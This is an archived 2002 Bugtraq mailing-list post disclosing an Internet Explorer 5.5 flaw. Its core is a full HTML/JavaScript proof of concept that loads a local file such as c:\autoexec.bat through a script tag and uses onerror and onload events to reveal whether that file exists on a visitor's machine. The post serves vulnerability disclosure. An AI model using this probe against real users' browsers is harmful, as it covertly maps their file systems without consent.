Razor Warning: SPAM/UBE/UCE

From: Tom Micklovitch (h_bugtraqat_private)
Date: Thu Jan 03 2002 - 04:08:31 PST

  • Next message: Mark Coleman: "Re: AIM addendum"

    In addition to "Minor IE System Info Disclosure"
    (Nov 4 2001) I've found that you can further poll
    a system for ANY file, provided you know it's
    path. Use the following script:
    <html>
    <head>
    <script language="javascript">
    <!--
    var fileExists = false;
    function yes()
    {
    	alert("the file exists.");
    	yes = true;
    }
    
    function no()
    {
    	if(!fileExists)
    	{
    	alert("the file does not exist.");
    	}
    }
    
    window.onerror = yes
    window.onload = no
    //-->
    </script>
    <script language="javascript"
    src="file://c:\autoexec.bat"></script>
    </head>
    </html>
    
    this will cause an alert "yes" if it exists, and
    alert "no" if not.
    
    Reason being is that autoexec.bat does not
    contain any valid javascript commands, so the
    onerror event is fired. Any non-existant file
    will not generate an error, so the onload event
    fires.
    
    Tested with IE5.5
    
    Still could do with some tweaking.
    
    -User24 (freetimers.com)
    
    __________________________________________________
    Do You Yahoo!?
    Send your FREE holiday greetings online!
    http://greetings.yahoo.com
    



    This archive was generated by hypermail 2b30 : Thu Jan 03 2002 - 14:11:12 PST